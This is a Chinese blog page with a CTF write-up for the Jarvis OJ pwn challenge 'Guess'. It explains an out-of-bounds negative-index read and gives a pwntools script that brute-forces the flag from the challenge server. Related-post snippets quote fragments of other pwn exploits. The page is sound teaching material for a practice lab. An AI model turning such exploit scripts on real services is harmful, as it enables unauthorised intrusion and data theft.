(Jarvis Oj)(Pwn) Guess

攻防世界 Pwn-guess 程序很奇怪,为什么要在这里面弄个stderr的指针,还没用,出于老油条的警觉,要仔细想想这里是否有兔子洞(doge),这里有个利用点,就是v4和v3只有0x10的距离,我们在比较的时候,就可以利用这个点,在v3输入0x10的垃圾数据后,后面就是stderr的地址,buf会和v4进行比较,那我们就可以一个字节一个字节的和stderr比较,如果对了,就执行后面的,没对,就重新输入,于是就可以爆破出stderr的地址。注意这个函数的 i 是在栈上的,我们可以通过输入v1来控制i的值,来达到栈溢出的目的, 阅读详情

(Jarvis Oj)(Pwn) Guess

查看保护。没开什么保护。
这里写图片描述
丢到ida中查看程序逻辑。前面不用看,找到handle函数。
这里写图片描述
可以看到输入是用fget函数处理的,限制了输入的长度,所以不好溢出。再看看flag_correct( )函数。
这里写图片描述
在nc连远程服务器的时候也提示说,要将flag先encode成hex,所以50个字符的flag就成了100个字符,程序首先判断长度是否是100,然后在栈上给flag这个数组赋值,然后取出用户输入,每两位进行decode变为一个字符,最后和flag数组进行比较。注意到栈的布局。
这里写图片描述
flag的地址是bin_by_hex+0x40,程序中又通过bin_by_hex这个数组取值,那么如果index为负数就会取到flag数组中的数,也就是flag,given_flag=value2+16 * value1,那么只要value1=0,value2=flag[-40]~flag[-1],那么得到的given_flag[i]就是flag,要使flag_hex[2 * i+1]是负数并不难,因为flag_hex是char型数组,当超过127时会变成负数,所以我们可以通过输入得到given_flag和flag一样,但是程序没有输出,无法知道given_flag的具体内容。按理说这程序是50个字符一起验证的,爆破不可行,但是我们可以得到given_flag就是flag,那么实际上我们可以控制其为一位一位验证,先让given_flag[1]~given_flag[49]是flag的内容,对given_flag[0]进行爆破,再逐次向后爆破。写得脚本。

  1 from pwn import *
  2 import string
  3 
  4 conn=remote('pwn.jarvisoj.com','9878')                                                                             
  5 e=ELF('./guess')
  6 conn.recvuntil('>')
  7 
  8 payload=""
  9 l=string.digits+'_{}'+string.ascii_lowercase+string.ascii_uppercase
 10 for i in range(50):
 11     payload+='0'
 12     payload+=chr(128+i+0x40)
 13 #print payload
 14 t=list(payload)
 15 flag=''
 16 for i in range(50):
 17     for j in l:
 18         t[i*2]=j.encode('hex')[0]
 19         t[2*i+1]=j.encode('hex')[1]
 20         conn.sendline(''.join(t))
 21         re=conn.recvline()
 22         if re.count('Yaaa'):
 23             flag+=j
 24             break
 25     print flag
 26 conn.interactive()
Jarvis OJ-PWN pwnTest_Your_Memory Test_Your_Memory 题目名字和题目没啥关系,真·一点关系也没有。 提供了system()函数 并且在mem_test函数中的输出hint的地址,hint地址内容为cat flag。 所以只需要将返回地址改成system()所在的地址,并将hint的地址传给system就能执行cat flag命令。 from pwn import * r=remote('pwn2.jarvisoj.com',9876) e=ELF('./memory') sys_a 阅读详情

相关推荐

一文读懂无人机AI识别算法,原理、技术、应用

本文详细介绍了无人机识别算法的工作原理、技术优势以及在多个行业的应用前景,展现了其在提升安全监控、资源管理和应急响应中的关键作用。尽管无人机识别算法在多个领域展现出巨大潜力,但仍面临技术挑战,如算法的准确性、数据的实时处理能力以及对复杂环境的适应性。4. 消防与城市管理: 无人机识别算法在消防和城市管理中的应用,为相关部门提供了及时的信息支持,提升了应急处置能力和城市管理水平。1. 公安监控: 无人机识别算法在公安领域的应用,可以实时识别犯罪嫌疑人和违法行为,有效提升城市治安管理的智能化水平。

foiadrone的博客 1849

jarvisoj——Guess

题目 Wp 查一下基础项 这道题卡了很久,实际上最核心的是 char数组 129时=-1 前面这些通过socket进行连接,和主题无关 看到head可以看到这里才是关键的地方 看到这里可以知道,实际上就是把bin_by_hex值和flag进行对比 内存中bin_by_hex和flag相差0x40 我们可以通过char数组溢出的方法进行查看falg,129=-1,依次类推 然后再对flag进行爆破 from pwn import * io = remote('pwn.jarvisoj.com',

王嘟嘟的博客 608

《QMT量化实战系列》支持自定义筛选与排序的多因子策略,实测年化收益超100%

【QMT量化实战系列】推出《支持自定义筛选与排序的多因子策略》,通过Tushare获取38个核心因子数据,实现股票多维筛选(剔除ST股、次新股及特定板块)。策略创新性地采用多因子加权排名机制,通过(股票数-排名+1)/股票数*100的算法计算各因子得分,支持自定义权重组合。该策略提供完整代码及详细注释,涵盖数据获取、因子筛选、权重排序等核心环节,帮助用户构建个性化量化模型。系列内容每月更新1-2期,由浅入深讲解QMT平台实战应用。

qq_46262068的博客 1255

jarvisoj_guess(下标越界导致盲注)

jarvisoj_guess(下标越界导致盲注) 首先,检查一下程序的保护机制 然后,我们用IDA分析一下,转换的时候没有检查flag_hex[2*i]和flag_hex[2*i+1]的值是否向上越界,如果向上越界,我们可以令flag_hex[i]为’0’,而flag_hex[i+1]为p8(offset),这样s[i] = value2 | 16 * value1的值就是value2就是bin_by_hex[flag_hex[2*i+1]]也就是bin_by_hex[offset],那么如果取到上

seaaseesa的博客 491

Android 13 GMS认证避坑:手把手教你搞定RKP配置,解决GTS测试fail

本文详细解析Android 13 GMS认证中的RKP(远程密钥配置)全流程,提供GTS测试失败的深度解决方案。从RKP核心概念到实战配置技巧,帮助开发者规避常见陷阱,确保设备顺利通过Google安全认证,特别适合需要快速掌握Android13 GMS认证的工程师参考。

weixin_29796279的博客 464

uniapp(安卓苹果app端) - 微信小程序分享提示报错“由于不支持的分享类型无法分享到微信“,“由于应用和小程序未绑定在同意微信开放平台账号,无法分享到微信“解决办法,uniapp小程序分享失败

uni-app,安卓app,苹果app,手机app端,苹果ios,安卓Android,移动端app,分享,微信分享,微信朋友圈,微信好友,转发,vue2,vue3,App端调用手机的系统分享,微信小程序,分享功能,原生app分享小程序到微信,可分享到微信、朋友圈等,报错,uniapp分享报错由于不支持的分享类型无法分享到微信,未审核应用,uniApp安卓苹果app报错由于应用和小程序未绑定在同意微信开放平台账号,无法分享到微信,微信appid,已经配置了,还是报错,无法解决,一直提示,APP_ID错误,打包

✅ 精选推荐文章 5510

[JarvisOJ][pwn]Guess

练习了一个oj平台上的题,感觉收货很多,在这里记下来。 liu@liu-F117-F:~/桌面/oj/猜测$ checksec 1 [*] '/home/liu/\xe6\xa1\x8c\xe9\x9d\xa2/oj/\xe7\x8c\x9c\xe6\xb5\x8b/1' Arch: amd64-64-little RELRO: No RELRO Sta...

九层台 967

DDR5 输入时钟抖动规范全解析!技术宅必看

简单说,时钟抖动就是时钟信号边沿的“颤抖”——信号本来应该在某个固定时间跳变,但实际时刻可能会前后波动。这种波动可能是随机的,也可能是确定性的。随机抖动(Random Jitter, Rj):符合高斯分布,像是你家猫咪不经意的晃动。确定性抖动(Deterministic Jitter, Dj):受限于特定周期或模式,像是邻居装修时的规律敲击声。⚠️ 注意,如果时钟抖动超出规格,DDR5可能无法正确接收或发送数据,内存错误、系统崩溃可就跟着来了!

weixin_43199439的博客 391

JarvisOJ (pwn)guess

先看一下函数结构: main: int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { struct sockaddr addr; // [rsp+0h] [rbp-20h] __pid_t v4; // [rsp+14h] [rbp-Ch] int v5; // [rsp+18h]...

苗_的博客 367

【全志V821_FoxPi】6-3 GC2083 MIPI摄像头适配

本文介绍了在全志V821芯片上适配GC2083 MIPI摄像头的方案。GC2083是一款支持1080P@30fps的高性能CMOS图像传感器,采用MIPI CSI-2接口,具有低功耗特性。文章详细列出了传感器的技术参数和工作电压要求,并提供了设备树配置示例,包括CSI接口、ISP处理单元和传感器节点的具体设置。通过快速配置命令one_gc2083_sensor或手动修改设备树即可启用该摄像头模组,适用于IPC等对图像质量有要求的嵌入式应用场景。

第四维度的博客 1926

数据科学助力大数据领域的航空安全分析

随着航空业的快速发展,航班数量不断增加,航空安全问题日益受到关注。大数据时代的到来,使得航空领域积累了大量的数据,包括飞行数据、维护数据、气象数据等。本文章的目的在于探讨如何运用数据科学的方法和技术,对这些大数据进行分析,以提高航空安全水平。范围涵盖了从数据收集、预处理到数据分析、模型构建和应用的整个流程。本文将按照以下结构进行组织:首先介绍数据科学和航空安全分析的核心概念以及它们之间的联系;接着阐述核心算法原理和具体操作步骤,并使用Python源代码进行详细说明;

软件工程实践的博客 1292

BUUCTF jarvisoj_guess

博文1 博文2 首先这是我看的两个wp,第一个博主讲的很多 main函数里面对我来说有一些难点,就是socket编程,正在学计网,到学期后半段可能会有写socket编程的作业,先了解一下 SOCKET 看到这里就能看出,程序里面也用到了其中一个结构 sockaddr_in 这个结构就是保存socket的信息的 这是地址族,看不太懂,可能和这道题没太大关系,堆在这用到的时候看一下...

BengDouLove的博客 472

WinCC实现定时存储数据至SQLServer

环境 Win10 WinCC V7.5 SQL Server 2016 运行结果 流程 WinCC变量 全局VB脚本 (我设置的是每2秒存一次,因此周期性触发器设置1秒)

skr? 3988

pwn-GUESS

参考了其他wp之后才慢慢做出来的 记录一下 首先checksec一下 有canary 放到IDA看下源码 运行流程大概是 有三个fork 即三次输入机会,于是无法爆破cannary 本题用的是SSP leak,当canary被覆盖是就会触发__stack_chk_fail函数,其中会打印字符串argv[0],覆盖它就能实现任意地址读 源码中有open("./flag...

aitangdao4981的博客 296

温度PID控制PLC程序

温度PID稳定控制程序,适用于欧姆龙PLC,对其他PLC也具有很大参考价值

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

PWN 网鼎杯 GUESS

拖了好久才看题,中间去参加比赛去了,休息够了开始学习啦! GUESS 在checksec查看后,发现开了canary 和 NX保护,所以可以用 stack smash 来做这个题 ida打开,查看一下源代码: 发现程序自己把读取flag到了栈中,所以思路就是: 1.通过覆盖argv[0]先泄露puts的地址 2.通过泄漏的puts的地址,计算出基地址然后泄漏出environ的...

SsMing的博客 1972

蓝牙模块HM-10手册

蓝牙模块HM-10手册,该手册对蓝牙模块HM-10进行了详细的介绍和使用方法以及一些AT指令。

Jarvis OJ pwn wp - level 0 ~ level 5

level 0 溢出, ROP调用system("/bin/sh"), get shell from pwn import * from pwnlib.util.cyclic import cyclic sel = 1 filename = "./level0" URL, PORT = "pwn2.jarvisoj.com", 9881 io = process(filename) if sel == 0 else remote(URL, PORT) elf = ELF(filename) sy

fa1c4的blog 466

Camera2Demo

在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作

jarvis oj pwn

先附上一段大佬的总结,接着再说题。 栈溢出的基本套路: 找到栈溢出地址(就是搞事情的地址),基本上都是buf的地址,这个地址需要用pwntools中的p32或p64进行转换,(若程序是32位的就用p32)才能用pwntools中的sendline发送到远程连接 构建shellcode,用一句话就行shellcode = asm(shellcraft.sh()) 构建payload,payload...

qq_44813849的博客 314

jarvis guess

知道了两个知识:一个数组下标溢出,C语言允许下标为负,若不检查则可能泄露邻接处的数据;第二个fork。 一开始没找到溢出点,找了wp才知道思路,由于flag和given_flag和bin_by_hex在栈上相近,同时value1 = bin_by_hex[flag_hex[2 * i]]; value2 = bin_by_hex[flag_hex[2 * i + 1]];没检查下标不能小于0,通过...

发蝴蝶和大脑斧的博客 274

Jarvis OJ pwn刷题

目录level1level3level3_x64smashes level1 #!/usr/bin/env python3 from pwn import * context(os="linux", arch="i386", log_level="debug") content = 1 def main(): if content == 0: io = process("./level1.80eacdcd51aca92af7749d96efad7fb5") else:

清霂的博客 334

(Jarvis Oj)(Pwn) Smashes

(Jarvis Oj)(Pwn) Smashes 查看保护。打开了栈保护。看上去有点麻烦。 再来分析下程序代码。如下是主要的函数体部分。 这个函数首先让我们输入name字符串,通过gets()函数,是有溢出的,但是在输入过长的字符串时程序会abort。 并且提示 ./smashes terminated 这里其实是ssp(Stack Smashing Protector)的提示...

Nothing 2680

Jarvis OJ PWN题解 持续更新~

最近沉(被)迷(迫)学pwn 看我们的志琦大佬 我就知道 pwn 玩玩就行 但是 不认真学 不行 然后向大佬打听了几个pwn的平台网站 打算 玩一下 这里找到了Jarvis OJ 然后我 是看那个 做出来的人多 我就做那个·~~~~~~~ 不定期的更新 Tell Me Something 然后这个这道题 其实很简单 栈溢出 没有任何防护 就防护了 ...

qq_41071646的博客 1214

(Jarvis Oj)(Pwn) level5

(Jarvis Oj)(Pwn) level5 题目描述:mmap和mprotect练习,假设system和execve函数被禁用,请尝试使用mmap和mprotect完成本题。附件和level3_x64的附件一样。 首先去看看这个mmap函数和mprotect函数是干啥的。 void* mmap(void* addr, size_t len, int port, int flag, int...

Nothing 2198

(Jarvis Oj)(Pwn) level2

(Jarvis Oj)(Pwn) level2 首先用checksec查一下保护。这次NX开启了。 用ida反汇编,找到溢出点。 这次system函数又出现了。于是想着是否可以通过控制调用system(“/bin/sh”)得到shell,将返回地址用system的地址覆盖,将传入参数设置成”/bin/sh”,用ida查找了一下字符串,刚好发现了”/bin/sh”,于是记录下地址(或者...

Nothing 1198

攻防世界 适合做桌面_攻防世界 - pwn - guess_num

攻防世界 - pwn - guess_num攻防世界 - pwn - guess_numA、程序分析1、分析程序发现连续输入密码正确10次即可获取flag2、gets(0,rbp-30h)srand(rbp-10h)通过输入用户名可以覆盖srand的种子,srand rand为伪随机,种子一样时随机数相同3、进行随机数比较时 额外进行了加密B、分析利用1、分析加密算法2、通过用户名覆盖rbp-10...

weixin_29097457的博客 171

jarvisoj pwn level系列

某重新入坑的小白试图学会如何打pwn 从现在开始,个人计划也就开始了,希望能走下去吧, 先看看blibli这个基础的 CTF pwn 小白基础课 后面的UP主后面有,讲得浅显易懂 有基础有能力有时间的可以看看这个人 我不认识他但是货很干,很厉害,可以看看他的博客 然后 不多说,来搞事情 做题网站 level0 首先,下下来这个东东 拿到程序后先file可知为64位程序和动态链接 cheksec一下检查保护机制 我们能看到这个玩意,可以看到是一个只开启了NX的64位linux程序。 Stack:栈保护 R

weixin_45551695的博客 362

JarvisOJ PWN level系列 wp

菜菜的小白最近学习pwn,做了Jarvis上的一些题目进行练习,也从很多师傅的博客里学习到了很多新的知识,今天重新温习并且总结一下,以下的wp可能会比较详细,大佬可略: level0 这一题的难度还是蛮容易的,首先拖进ida里,发现有'/bin/sh/字符串和system函数,然后找溢出点,发现read函数这里发生溢出,只给了0x88的内存,但是却要读0x200个字节,必溢出: 然后构造...

苗_的博客 548
上一篇: (Jarvis Oj)(Pwn) Smashes
下一篇: (Jarvis Oj)(Pwn) fm
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值